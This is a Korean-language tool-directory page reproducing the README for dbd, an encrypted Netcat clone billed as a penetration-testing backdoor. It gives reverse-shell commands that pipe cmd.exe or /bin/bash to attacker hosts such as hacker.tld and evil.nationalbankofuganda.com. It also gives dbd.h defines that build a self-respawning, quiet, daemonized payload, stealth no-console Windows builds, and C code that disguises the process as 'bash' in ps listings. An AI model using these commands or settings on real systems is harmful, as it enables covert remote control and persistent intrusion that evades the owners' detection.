Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
dbd — Durandal의 백도어 | Kitploit
도구/GitHubGitHub/gitdurandal/dbd
Encryption/Decryption ToolsExploitationPost-ExploitationNetwork SecurityPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubgitdurandal/dbd

dbd

Durandal의 백도어

152383년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
웹사이트

d8888b. d8888b. d8888b. 88 8D 88 8D 88 `8D 88 88 88oooY' 88 88 88 88 88~~~b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D'

#Durandal's Backdoor #저작권 (C) 2013 Kyle Barnthouse [email protected] #dbd는 GNU GPL에 따라 배포됩니다 #Mipsbe 바이너리는 Darkerego [https://github.com/darkerego] [(mailto:[email protected])]가 추가함

###개요

dbd는 휴대성을 높이고 강력한 암호화를 제공하도록 설계된 Netcat 클론입니다. Unix 계열 운영 체제와 Microsoft Win32에서 실행됩니다. dbd는 AES-CBC-128 + HMAC-SHA1 암호화(Christophe Devine 작성), 프로그램 실행(-e 옵션), 소스 포트 선택, 지연을 통한 지속적 재연결 및 기타 몇 가지 유용한 기능을 갖추고 있습니다. dbd는 TCP/IP 통신만 지원합니다. 소스 코드와 바이너리는 GNU 일반 공중 사용 허가서(GNU General Public License)에 따라 배포됩니다.

###컴파일

root@kitploit:~
$ make
usage:
  make unix     - Linux, NetBSD, FreeBSD, OpenBSD
  make unix32  - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
  make sunos    - SunOS (Solaris)
  make win32    - native win32 console app (w/ Cygwin + MinGW)
  make win32bg  - create a native win32 no-console app (w/ Cygwin + MinGW)
  make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
  make mingw    - native win32 console app (w/ MinGW MSYS)
  make mingwbg  - native win32 no-console app (w/ MinGW MSYS)
  make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
  make cygwin   - Cygwin console app
  make darwin   - Darwin

cross-compile options:
  make mingw-cross    - win32 cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross  - win32 no-console cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
  make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch

roll up a tarball (move your compiled stuff to binaries/ first:
  make dist     - create tarball with source files, readme, and binaries/

Unix 계열 운영 체제에서 dbd를 컴파일하려면 gcc와 관련 개발 도구가 필요합니다. Linux, FreeBSD, NetBSD, OpenBSD(및 기타 운영 체제)에서는 다음을 입력하십시오:

root@kitploit:~
$ make unix

SunOS/Solaris에서는 다음을 입력하십시오:

root@kitploit:~
$ make sunos

Microsoft Windows(NT/2K/XP/2K3)에서 dbd를 컴파일하려면 MinGW+MSYS 또는 전체 개발 지원이 포함된 Cygwin(Cygwin의 MinGW gcc)이 필요합니다. Cygwin에서 네이티브 Win32 dbd 콘솔 애플리케이션을 컴파일하려면 다음을 입력하십시오:

root@kitploit:~
$ make win32

또는 MSYS에서:

root@kitploit:~
$ make mingw

Cygwin에서 콘솔 없는("WinMain") 애플리케이션을 컴파일하려면 다음을 입력하십시오:

root@kitploit:~
$ make win32bg

또는 MSYS에서:

root@kitploit:~
$ make mingwbg

Cygwin 전용 콘솔 애플리케이션을 컴파일하려면 다음을 입력하십시오:

root@kitploit:~
$make cygwin

dbd의 기본 동작을 변경하고 싶을 수 있습니다. 가장 중요한 것 중 하나는 기본 공유 비밀(shared secret)을 자신만의 암호문구(pass phrase)로 변경하는 것입니다. dbd.h를 편집하여 원하는 값으로 교체하십시오. 예를 들어, dbd가 옵션 없이 시작될 때 연결할 호스트와 포트를 하드코딩하고 싶을 수 있습니다. 완전한 예제는 dbd.h에 제공되어 있습니다.

###사용 예제

약간의 상상력을 더하면 dbd는 다양한 용도로 사용될 수 있습니다:

dbd를 사용하여 두 네트워크 간에 파일을 안전하게 전송하기:

root@kitploit:~
snafu$ dbd -l -p 12345 -k secret > output.file

fubar$ cat input.file | dbd -k secret snafu 12345

또는 win32에서:

root@kitploit:~
C:\somedir>type input.fil | dbd -k secret snafu 12345

dbd를 간단하지만(안전한) 채팅으로 사용하기:

root@kitploit:~
snafu$ dbd -P snafu -Hon fubar 1234

fubar$ dbd -Pfubar -Hon -l -p 1234

dbd를 침투 테스트 백도어로 사용하기:

root@kitploit:~
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443

또는 Unix 계열 OS에서:

root@kitploit:~
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993

###하드코딩 옵션

명령줄 옵션을 사용하는 것 외에도 dbd.h에서 #define을 사용하여 변수를 하드코딩할 수 있습니다. 이렇게 하려면 사용하려는 변수를 명명된 상수(named constants)로 설정하고 평소처럼 컴파일하면 됩니다. 예를 들어, 포트 995의 "evil.nationalbankofuganda.com"으로 역연결되고 "/bin/bash"를 실행하는 dbd 실행 파일을 하드코딩하려면 다음을 실행하면 됩니다:

root@kitploit:~
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995

또는 하드코딩된 #define을 사용하려면 dbd.h를 편집하면 됩니다:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"

연결 유지를 돕기 위해 재생성(respawn) 및 은닉(stealth) 옵션을 설정할 수도 있습니다:

root@kitploit:~
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1

이렇게 하면 연결이 데몬화되고(악성코드 용어로 "melt"), STDOUT으로 출력을 절대 보내지 않으며, 리스너와 연결이 끊어지면 15분마다 연결 재생성을 시도합니다.

###로물란 클로킹 기술

이제 재미있는 부분으로 들어가 보겠습니다. 백도어에 옵션을 하드코딩하는 데 능숙해지면, 우리가 사용할 수 있는 가장 재미있는 명명 상수인 CLOAK를 사용할 수 있습니다. 이렇게 하려면 값을 설정하기만 하면 됩니다:

root@kitploit:~
#define CLOAK 1

참고: 현재 *nix 컴파일에서만 작동합니다. 언젠가 Win32 프로세스 마이그레이션/후킹을 추가하여 해당 대상도 로물란의 혜택을 받을 수 있도록 할 계획입니다.

*nix 환경에서 이 옵션은 argv[0]을 지우고 "bash\0" 문자열로 대체합니다. 또한 다른 모든 argv[]도 지웁니다(ps가 "bash -e /bin/bash someremotehost.com 443"을 반환한다면 이상해 보이겠죠?) 이 옵션은 DBD.H에 변수를 하드코딩하는 경우가 아니면 사용할 수 없다는 것은 말할 필요도 없을 것입니다. 또한 자신의 시스템에서 이 기능을 테스트한다면 죽일 올바른 pid를 골라내는 것도 재미있을 것입니다. ;)

이 스크러버(scrubber)는 작업 중인 어떤 프로젝트에서든 자유롭게 사용하십시오:

root@kitploit:~
//grab our named constant
int cloak = CLOAK;

//Engage cloaking device
if(cloak)
{
	#ifdef WIN32
	//stub              
	#else
	//change argv[0] to say bash       
	int scrub;
	strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
	strcpy((char *)argv[0], "bash\0");    
	for (scrub = 1; scrub < argc; scrub++)
	{                     
		 strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
	}                 
	#endif
}

###경고

캐시된 입력(명령이 담긴 파일 등)을 리스닝 중인 "dbd -e" 세션에 전달하지 마십시오. "dbd -e"는 파이프를 사용하여 실행 중인 프로그램과 dbd 사이에서 데이터를 전달합니다. 파이프와 소켓 사이의 암호화로 인해 (단순한 통과식 중복 파일 디스크립터 대신) 파이프가 사용됩니다. 파이프 중 하나의 쓰기 끝(writing end)이 전체 프로세스를 차단하는 것을 방지하기 위해 이를 비차단(non-blocking) 디스크립터로 전환했습니다. -e 프로그램에 한 번에 너무 많은 입력을 전달하면 (OS의) 파이프 버퍼가 모든 데이터를 담을 수 없어 입력이 잘릴(truncated) 가능성이 있습니다. 이 문제는 예를 들어 dbd를 멀티스레드로 만들면 해결할 수 있지만, 호환성 문제로 가능한 한 오랫동안 이렇게 하는 것을 피할 것입니다.

##크로스 컴파일

dbd는 다른 도구/프레임워크와의 상호 운용을 위해 설계되었으므로, make는 이제 mingw32-gcc 툴체인을 갖춘 Linux 시스템에서 win32 크로스 컴파일을 지원합니다. 이러한 옵션은 선택한 빌드 이름 뒤에 "-cross"가 추가된다는 점을 제외하면 Windows 네이티브 옵션과 거의 동일합니다. 예:

root@kitploit:~
$ make mingw-cross

는 mingw/msys가 설치된 win32 시스템에서

root@kitploit:~
$ make mingw

명령이 수행하는 것과 동일한 작업을 Linux 시스템에서 수행합니다.

현재 모든 크로스 컴파일 옵션은 Kali Linux를 염두에 두고 빌드되지만, 약간의 애정을 더하면 모든 *nix에서도 작동할 것입니다. mingw32-gcc가 설치되어 있는데 make가 빌드되지 않는다면 Makefile 상단의 WCC 변수를 편집하여 mingw32-gcc 바이너리의 경로를 입력하십시오.

dbd-1.5부터는 툴체인 접두사를 CROSS_COMPILE로 설정하여 어떤 크로스빌드 툴체인으로든 dbd를 컴파일할 수 있습니다. 예를 들어 arm 버전을 빌드하는 것은 매우 간단합니다:

root@kitploit:~
$ make unix CROSS_COMPILE=arm-linux-gnueabi-

##고급 마법

dbd를 익스플로잇 프레임워크와 통합하려면 대상에 특화된 구성 옵션이 포함된 맞춤형 dbd.h를 생성하는 모듈을 작성할 수 있습니다. 이 파일에서 명시적으로 #define되지 않은 항목은 여전히 기본값을 사용하므로 헤더에 모든 것을 작성할 필요가 없습니다. 예: dbd.h 파일을 삭제하고 다음으로 대체하십시오:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"

그런 다음 make 를 호출하여, evil.nationalbankofuganda.com에서 다음 옵션으로 실행 중인 리스닝 dbd 에이전트에 역연결되는 클로킹 및 재생성 기능을 갖춘 자동 연결 페이로드를 빌드하십시오:

root@kitploit:~
$ dbd -l -p 995 -k customcrypto

또 다른 고급 팁은 dietlibc 또는 uClibc를 사용하여 dbd를 컴파일하는 것입니다. dietlibc Linux dbd 에이전트를 컴파일하려면 다음을 사용하십시오:

root@kitploit:~
$ make unix CROSS_COMPILE="diet -Os "

문자열에서 s 뒤의 공백에 주의하십시오. 이 공백 덕분에 Makefile이 표준 CFLAGS 및 LDFLAGS와 함께 gcc를 추가하여 에이전트가 올바르게 빌드됩니다. dietlibc를 사용하면 대상 환경용으로 매우 작은 100% 정적 실행 파일이 생성되는 장점이 있습니다(패킹 전 Linux dbd 에이전트 기준 약 70K이며, glibc 및 gcc -static을 사용하는 표준 700K+와 대조적). uClibc를 사용하는 것은 훨씬 쉽습니다. CROSS_COMPILE 아래에 툴체인의 크로스빌드 접두사만 설정하면 되기 때문입니다.

##라이선스

dbd 저작권 (C) 2013 Kyle Barnthouse [email protected]

이 프로그램은 자유 소프트웨어입니다. Free Software Foundation이 발표한 GNU 일반 공중 사용 허가서 버전 2 또는 (선택에 따라) 이후 버전의 조건에 따라 이 프로그램을 재배포하거나 수정할 수 있습니다.

이 프로그램은 유용하게 사용되리라는 희망 하에 배포되지만, 어떠한 보증도 제공되지 않습니다. 상품성(MERCHANTABILITY) 또는 특정 목적에의 적합성(FITNESS FOR A PARTICULAR PURPOSE)에 대한 묵시적 보증조차 없습니다. 자세한 내용은 GNU 일반 공중 사용 허가서를 참조하십시오.

이 프로그램과 함께 GNU 일반 공중 사용 허가서의 사본을 받았을 것입니다. 받지 못했다면 Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA로 문의하십시오.

자세한 내용은 COPYING 파일을 참조하십시오.

dbd의 AES-CBC-128 + HMAC-SHA1 구현은 Christophe Devine([email protected])이 저작권(C)을 보유하고 있으며 GNU 일반 공중 사용 허가서(GPL)에 따라 배포됩니다.

일부 코드(doexec_win32.h용)는 Netcat의 Win32 포트에 포함된 doexec.c(C) Weld Pond 및 hobbit)에서 파생되었습니다. doexec.c의 일부는 (C) 1994 Nathaniel W. Mishkin의 저작권입니다(doexec.c 코드는 원래 rlogind.exe에서 파생되었습니다).

Netcat의 원본 버전은 hobbit([email protected])이 작성했습니다. NT 버전은 Weld Pond([email protected])가 작성했습니다.


(C) Kyle Barnthouse [email protected] 보안 컨설턴트
gitbrew.org
Hephaestus Security

도구 다운로드